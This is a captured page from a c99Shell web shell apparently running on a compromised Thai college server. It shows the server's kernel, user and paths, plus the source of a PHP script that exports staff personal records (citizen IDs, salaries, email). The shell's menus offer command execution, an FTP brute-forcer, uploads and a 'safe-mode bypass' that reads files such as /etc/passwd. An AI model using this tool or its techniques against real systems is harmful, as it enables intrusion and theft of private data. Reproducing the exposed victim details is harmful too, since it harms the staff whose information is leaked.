!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelPersonaldata.php (10.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start();
    
    /**  Define Validate Access  */
    define( '_VALID_ACCESS', 1 );

    /**  Check Session User Login  */
    if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        /**  Configuration  */
        header('Content-type: application/xls');
        header('Content-Disposition: attachment; filename="testing.xls"');
        require_once( "../configuration.php" );
        require_once( $_Config_absolute_path . "/includes/framework.php" );
        require_once( "../include/Function.php" );
        
        
        /**  Create Database Object  */
        $dbObj = new DBConn;

    
        /**  Config Table for This Page  */
        $myTable = "personal_tb";
        $myTable1 = "history_absent_tb ";
        $myTableFK = "Teacher_id";
        $myOrderBy = "Faculty_code, Teacher_id,Teacher_name";
        
        /**  Parameters  */
        $params = "$Year";
        
        
        /**  Paging */
        $page = $_GET['page'];
        if( $page == "" ) { $page = 1; }
            
        /**  จำนวนข้อมูล ต่อ 1 หน้า  */
        $perpage = $_REQUEST['perpage'];
        if( $perpage == "" ) { $perpage = 1200; }
        
        
    } # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<title>รายงานการลา</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table cellspacing="0" cellpadding="0">
  <col width="42" />
  <col width="62" />
  <col width="70" />
  <col width="59" />
  <col width="78" span="2" />
  <col width="102" />
  <col width="153" />
  <col width="73" />
  <col width="32" />
  <col width="76" />
  <col width="48" />
  <col width="57" />
  <col width="98" />
  <col width="168" />
  <col width="156" />
  <col width="63" />
  <col width="50" />
  <col width="65" span="2" />
  <col width="214" />
  <col width="76" />
  <col width="288" />
  <col width="66" />
  <col width="69" />
  <col width="76" />
  <col width="43" />
  <col width="288" span="2" />
  <col width="93" span="2" />
  <col width="142" />
  <col width="288" span="2" />
  <col width="216" />
  <col width="161" />
  <col width="263" />
  <col width="280" />
  <col width="222" />
  <col width="161" />
  <col width="89" />
  <col width="135" />
  <col width="156" />
  <col width="161" />
  <col width="100" span="3" />
  <col width="54" span="3" />
  <col width="90" />
  <col width="97" />
  <col width="77" />
  <col width="73" />
  <col width="61" />
  <col width="70" />
  <col width="67" />
  <col width="66" />
  <col width="134" />
  <col width="71" />
  <col width="64" span="3" />
  <col width="78" span="3" />
  <col width="72" />
  <col width="253" />
  <col width="78" />
  <col width="211" />
  <col width="92" />
  <col width="87" />
  <col width="225" />
  <tr>
    <td align="left" width="42">No</td>
    <td align="center" width="78">รหัส</td>
    <td align="left"> ชื่อ - สกุล</td>
    <td align="left" width="73">DateBirth</td>
    <td align="left" width="32">เพศ</td>
    <td align="left" width="76">Nationality</td>
    <td align="left" width="48">Nation</td>
    <td align="left" width="57">Religion</td>
    <td align="left" width="98">Citizen_id</td>
    <td align="left" width="63">StatusId</td>
    <td align="left" width="50">Status</td>
    <td align="left" width="214">Soulmate</td>
    <td align="left" width="76">Total_child</td>
    <td align="left" width="288">Address</td>
    <td align="left" width="66">districtId</td>
    <td align="left" width="69">amphurId</td>
    <td align="left" width="76">provinceId</td>
    <td align="left" width="43">conId</td>
    <td align="left" width="288">Skill</td>
    <td align="left" width="93">Type_Degree</td>
    <td align="left" width="93">Degree_code</td>
    <td align="left" width="142">Degree_else</td>
    <td align="left" width="288">Degree_His1</td>
    <td align="left" width="288">Degree_His1_Major</td>
    <td align="left" width="216">Degree_His1_Institute</td>
    <td align="left" width="161">Degree_His1_End_Year</td>
    <td align="left" width="263">Degree_His2</td>
    <td align="left" width="280">Degree_His2_Major</td>
    <td align="left" width="222">Degree_His2_Institute</td>
    <td align="left" width="161">Degree_His2_End_Year</td>
    <td align="left" width="89">Degree_His3</td>
    <td align="left" width="135">Degree_His3_Major</td>
    <td align="left" width="156">Degree_His3_Institute</td>
    <td align="left" width="161">Degree_His3_End_Year</td>
    <td align="left" width="100">Type_degree1</td>
    <td align="left" width="100">Type_degree2</td>
    <td align="left" width="100">Type_degree3</td>
    <td align="left" width="54">Year_1</td>
    <td align="left" width="54">Year_2</td>
    <td align="left" width="54">Year_3</td>
    <td align="left" width="90">Person_type</td>
    <td align="left" width="97">Teacher_type</td>
    <td align="left" width="77">Gover_id</td>
    <td align="left" width="73">Forum_nid</td>
    <td align="left" width="61">Club_nid</td>
    <td align="left" width="70">Year_gov</td>
    <td align="left" width="67">Year_coll</td>
    <td align="left" width="66">Year_fac</td>
    <td align="left" width="134">Gover_pos</td>
    <td align="left" width="71">PositionId</td>
    <td align="left" width="64">Salary_1</td>
    <td align="left" width="64">Salary_2</td>
    <td align="left" width="64">Salary_3</td>
    <td align="left" width="78">Absent_01</td>
    <td align="left" width="78">Absent_02</td>
    <td align="left" width="78">Absent_03</td>
    <td align="left" width="72">TeacherId</td>
    <td align="left" width="253">Propessnal</td>
    <td align="left" width="78">Absent_06</td>
    <td align="left" width="211">Manage_pos</td>
    <td align="left" width="92">Faculty_code</td>
    <td align="left" width="225">Email</td>
  </tr>
  <tr>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Teacher_id']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Teacher_id']; ?></span></td>
    <td align="left"><span class="PADDING-LEFT-3 BORDER-TOP-LEFT-RIGHT"><?php echo $rs['First_name'] . $rs['Teacher_name'] ." &nbsp;". $rs['Teacher_lastname']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['DateBirth']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Sex']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Nationality']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Nation']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Religion']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Citizen_id']; ?></span></td>
    <td align="left">1</td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Citizen_id']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['oulmate']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Total_child']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Total_child']; ?></span></td>
    <td align="left">&nbsp;</td>
    <td align="left">&nbsp;</td>
    <td align="left">&nbsp;</td>
    <td align="left">&nbsp;</td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Skill']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Type_Degree']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_code']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_else']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_Major']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_Institute']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_End_Year']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His2']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His2_Major']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His2_Institute']; ?></span></td>
    <td align="left"><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_End_Year']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_End_Year']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_End_Year']; ?></span></td>
    <td><span class="BORDER-TOP-LEFT"><?php echo $rs['Degree_His1_End_Year']; ?></span></td>
    <td align="left">0</td>
    <td align="left">ด้านอื่นฯ</td>
    <td align="left">ด้านอื่นฯ</td>
    <td align="left">ด้านอื่นฯ</td>
    <td></td>
    <td></td>
    <td></td>
    <td align="left">1</td>
    <td align="left">2</td>
    <td></td>
    <td></td>
    <td></td>
    <td align="left">2528</td>
    <td align="left">2528</td>
    <td align="left">2540</td>
    <td></td>
    <td align="left">23</td>
    <td align="left">21970.00</td>
    <td align="left">0.00</td>
    <td align="left">0.00</td>
    <td align="left">15</td>
    <td align="left">15</td>
    <td align="left">30</td>
    <td align="left">0</td>
    <td align="left">ด้านสารสนเทศ</td>
    <td align="left">00</td>
    <td align="left">หัวหน้าศูนย์สารสนเทศ</td>
    <td align="left">04</td>
    <td align="left">041056@scphc.ac.th</td>
  </tr>
</table>
</body>
</html>
<?php
    /**  Free Resource */
    $dbObj->freeresult($result);
    
    /**  Close the Database  */
    $dbObj->disconn();
    
    /**  Unset Class  */
    unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0125 ]--